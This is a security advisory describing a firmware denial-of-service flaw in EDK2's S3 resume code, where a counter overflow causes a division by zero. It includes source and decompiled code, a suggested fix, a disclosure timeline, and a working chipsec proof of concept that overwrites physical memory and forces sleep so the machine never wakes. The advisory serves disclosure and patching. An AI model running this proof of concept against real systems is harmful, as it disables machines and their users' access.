[BRLY-2023-021] The Denial Of Service (DoS) vulnerability during PEI phase in EDK2 codebase
The BINARLY efiXplorer team has identified a PEI-phase Denial of Service (DoS) vulnerability in the EDK2 codebase, which can be exploited by an attacker capable of modifying physical memory.
- BINARLY internal vulnerability identifier: BRLY-2023-021
- CVSS v3.1: 6.0 Medium AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H
By modifying the physical memory from runtime, an attacker can trigger a division by 0 due to a UINT32 overflow. This vulnerability is exploitable on both client and server platforms where S3 sleep is activated.
The vulnerability is located on lines 114, 115 in the
AcpiS3ResumeRecord->ResumeCount++; AcpiS3ResumeRecord->AverageResume = DivU64x32 (S3ResumeTotal + AcpiS3ResumeRecord->FullResume, AcpiS3ResumeRecord->ResumeCount);
An attacker with the ability to modify physical memory can control the value of
AcpiS3ResumeRecord->ResumeCount. If the attacker sets the value of
ResumeCount is subsequently incremented, its new value will be
0 (due to
UINT32 overflow). Since there is no check for overflow, when
0 and passed as the second argument to
DivU64x32(), it will trigger a division by
0, and cause a system crash, leading to a DoS.
In order to fix this vulnerability, it is necessary to verify that the
!= 0 after increment or
!= MAX_UINT32 before increment.
A decompiled code snippet containing a vulnerability in the latest Intel NUC M15 firmware (
FirmwarePerformancePei module) is shown below:
VarSize = 8; RestoreLockBox(&FIRMWARE_PERFORMANCE_S3_POINTER_GUID, &S3PerformanceTablePointer, &VarSize); AcpiS3PerformanceTable = S3PerformanceTablePointer; if ( S3PerformanceTablePointer->Header.Signature != 'TP3S' ) return EFI_ABORTED; ResumeCount = S3PerformanceTablePointer->S3Resume.ResumeCount; LODWORD(AverageResume) = S3PerformanceTablePointer->S3Resume.AverageResume; AverageResume_high = HIDWORD(S3PerformanceTablePointer->S3Resume.AverageResume); LODWORD(S3PerformanceTablePointer->S3Resume.FullResume) = v4; HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume) = v5; HIDWORD(AverageResume) = AverageResume_high; S3ResumeTotal = AverageResume * ResumeCount; // possible UINT32 overflow (if S3Resume.ResumeCount = MAX_UINT32) ResumeCount = ++AcpiS3PerformanceTable->S3Resume.ResumeCount; FullResume = AcpiS3PerformanceTable->S3Resume.FullResume; S3ResumeTotal_1 = S3ResumeTotal; Sum = S3ResumeTotal + FullResume; LODWORD(S3ResumeTotal) = HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume); LODWORD(AverageResume) = Sum; HIDWORD(AverageResume) = (__PAIR64__(S3ResumeTotal, S3ResumeTotal_1) + __PAIR64__(HIDWORD(S3ResumeTotal), FullResume)) >> 32; // possible division by 0 HIDWORD(S3ResumeTotal) = HIDWORD(AverageResume) / ResumeCount; LODWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = __PAIR64__(HIDWORD(AverageResume) % ResumeCount, Sum) / ResumeCount; HIDWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = HIDWORD(S3ResumeTotal);
The PoC below demonstrates the exploitability of this vulnerability on the Intel NUC M15:
import os import chipsec import chipsec.chipset import hexdump cs = chipsec.chipset.cs() cs.init(None, True, True) # FPDT @ 0x0000000000000000 # 0000: 46 50 44 54 44 00 00 00 01 09 49 4E 54 45 4C 00 FPDTD.....INTEL. # 0010: 4E 55 43 78 69 37 41 35 47 00 00 00 41 4D 49 20 NUCxi7A5G...AMI # 0020: 13 00 00 01 00 00 10 01 00 00 00 00 00 40 3C 55 .............@<U # 0030: 00 00 00 00 01 00 10 01 00 00 00 00 00 00 FA 54 ...............T # 0040: 00 00 00 00 AcpiS3ResumeRecord = 0x54FA0000 # from FPDT ACPI Table ResumeCountOffset = 0xC cs.helper.write_physical_mem( AcpiS3ResumeRecord + ResumeCountOffset, 4, b"\xff\xff\xff\xff" ) hexdump.hexdump(cs.helper.read_physical_mem(AcpiS3ResumeRecord, 32)) os.system("echo deep > /sys/power/mem_sleep") os.system( "rtcwake -m mem -s 3" ) # the system will never wake up due to a division by 0 at the PEI stage
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
|Intel PSIRT is notified||2022-07-26|
|BINARLY public disclosure date||2023-08-01|
BINARLY efiXplorer team